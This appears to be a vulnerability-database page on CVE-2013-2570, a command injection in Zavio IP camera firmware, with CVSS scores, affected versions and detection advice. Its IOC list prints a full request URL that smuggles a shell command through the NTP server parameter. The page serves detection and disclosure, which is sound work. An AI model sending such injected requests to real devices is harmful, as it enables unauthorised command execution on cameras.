CVE-2013-2570: A Command Injection vulnerability exists in Zavio IP Cameras through 1.6.3 in the General.Time.NTP.Server parameter to the sub_C8C8 function of the binary…

PriorityP275critical9.8CVSS 3.1

AVNACLPRNUINSUCHIHAH

EXPLOIT

EPSS

26.58%

97.8th percentile

A Command Injection vulnerability exists in Zavio IP Cameras through 1.6.3 in the General.Time.NTP.Server parameter to the sub_C8C8 function of the binary /opt/cgi/view/param, which could let a remove malicious user execute arbitrary code.

Affected

2 ranges

Vendor	Product	Version range	Fixed in
zavio	f3105_firmware	<= 1.6.03	—
zavio	f312a_firmware	<= 1.6.03	—

Detection & IOCsextracted from sources · hover to see the quote

path/opt/cgi/view/param↗

urlhttp://192.168.1.100/cgi-bin/admin/param?action=update&General.Time.DateFormat=ymd&General.Time.SyncSource=NTP&General.Time.TimeZone=GMT-06:00/America/Mexico_City&General.Time.NTP.ServerAuto=no&General.Time.NTP.Server=sarasa!de!palermo;/sbin/awpriv%20ra0%20get_site_survey;&General.Time.NTP.Update=01:00:00&General.Time.DayLightSaving.Enabled=on&General.Time.DayLightSaving.Start.Type=date&General.Time.DayLightSaving.Stop.Type=date&General.Time.DayLightSaving.Start.Month=01&General.Time.DayLightSaving.Stop.Month=01&General.Time.DayLightSaving.Start.Week=1&General.Time.DayLightSaving.Stop.Week=1&General.Time.DayLightSaving.Start.Day=01&General.Time.DayLightSaving.Stop.Day=01&General.Time.DayLightSaving.Start.Date=01&General.Time.DayLightSaving.Stop.Date=01&General.Time.DayLightSaving.Start.Hour=00&General.Time.DayLightSaving.Stop.Hour=00&General.Time.DayLightSaving.Start.Min=00&General.Time.DayLightSaving.Stop.Min=00&Image.OSD.Enabled=off↗

path/cgi-bin/admin/param↗

command/sbin/awpriv ra0 get_site_survey↗

→Monitor HTTP POST/GET requests to '/cgi-bin/admin/param' containing the parameter 'General.Time.NTP.Server' with shell metacharacters (e.g., semicolons ';') indicative of command injection. ↗
→Alert on requests to '/cgi-bin/admin/param' with 'action=update' and 'General.Time.NTP.Server' values containing semicolons or URL-encoded shell command separators. ↗
→The injection point is in the 'sub_C8C8' function of the binary '/opt/cgi/view/param'; binary-level analysis or process monitoring for this binary spawning unexpected child processes is recommended. ↗

·CVE-2013-2570 is post-authentication only; exploitation requires valid credentials to the administration web interface. ↗
·All PoCs were validated on Zavio F3105 and F312A models running firmware v1.6.03; other models and firmware versions may also be affected but were not confirmed. ↗

CVSS provenance

nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

nvdv2.07.5HIGHAV:N/AC:L/Au:N/C:P/I:P/A:P

CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.